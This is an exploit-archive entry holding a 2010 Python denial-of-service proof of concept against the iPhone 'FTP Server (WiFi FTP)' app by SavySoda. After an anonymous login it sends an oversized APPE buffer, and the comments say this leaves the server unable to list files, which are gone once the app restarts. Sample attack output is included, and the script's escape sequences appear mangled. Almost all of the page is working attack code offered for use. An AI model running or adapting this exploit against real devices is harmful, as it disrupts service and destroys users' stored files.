[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : iPhone - FTP Server (WiFi FTP) by SavySoda DoS/PoC
# Published : 2010-02-23
# Author : b0telh0
# Previous Title : iPhone WebCore::CSSSelector() Remote Crash Vulnerability
# Next Title : iPhone FtpDisc v1.0 Denial of Service


#!/usr/bin/python
#
# Title: iPhone - FTP Server (WiFi FTP) by SavySoda DoS/PoC
# Date: 02-18-2010
# Author: b0telh0
# Link: app store (http://itunes.apple.com/br/app/ftp-server/id346724641?mt=8)
# Tested on: iPhone 3G (firmware 3.1.3)


# The server doesn't crash at all, but after exploiting it
# you can't see (list) your files anymore. You must to close the app
# and open it again. Then you'll see that the app starts like it was
# fresh installed and your files are gone.


# root@bt:~# ./free_ftp.py 192.168.1.108
#
# [+] iPhone - FTP Server by SavySoda(WiFi FTP).
# [+] Free version of WiFi FTP with Ad Support.
#
# [+] Connecting...
# [+] 220 Service ready.
#
# [+] Sending username...
# [+] Sending buffer...
# [+] done!

# root@bt:~# ftp 192.168.1.108
# Connected to 192.168.1.108.
# 220 Service ready.
# Name (192.168.1.108:root): anonymous
# 230 User logged in, proceed.
# Remote system type is UNIX.
# Using binary mode to transfer files.
# ftp> ls
# 200 Command okay.
# 450 Requested file action not taken. File unavailable (e.g., file busy).
# ftp> ls
# 421 Service not available, closing control connection.
# ftp> ls
# Not connected.
# ftp> bye


import socket
import sys
import time

crash = "x41" * 1000

def Usage():
    print ("Usage: ./free_ftp.py serv_ipn")
if len(sys.argv) <> 2:
        Usage()
        sys.exit(1)
else:
    host = sys.argv[1]
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print "n[+] FTP Server by SavySoda(WiFi FTP)."
        print "[+] Free version of WiFi FTP with Ad Support.n"
        print "[+] Connecting..."
        s.connect((host, 21))
        b=s.recv(1024)
        print "[+] " +b
    except:
        print ("[-] Can't connect to ftp server!n")
        sys.exit(1)
    print "[+] Sending username..."
    time.sleep(3)
    s.send('USER anonymousrn')
    s.recv(1024)
    print "[+] Sending buffer..."
    time.sleep(3)
    s.send('APPE ' + crash + 'rn')
    s.recv(1024)
    s.close()
    print "[+] done!n"
    sys.exit(0);


-- 
Leonardo Rota Botelho
http://www.leonardobotelho.com/blog/
public key: http://www.leonardobotelho.com/leonardorotabotelho.gpg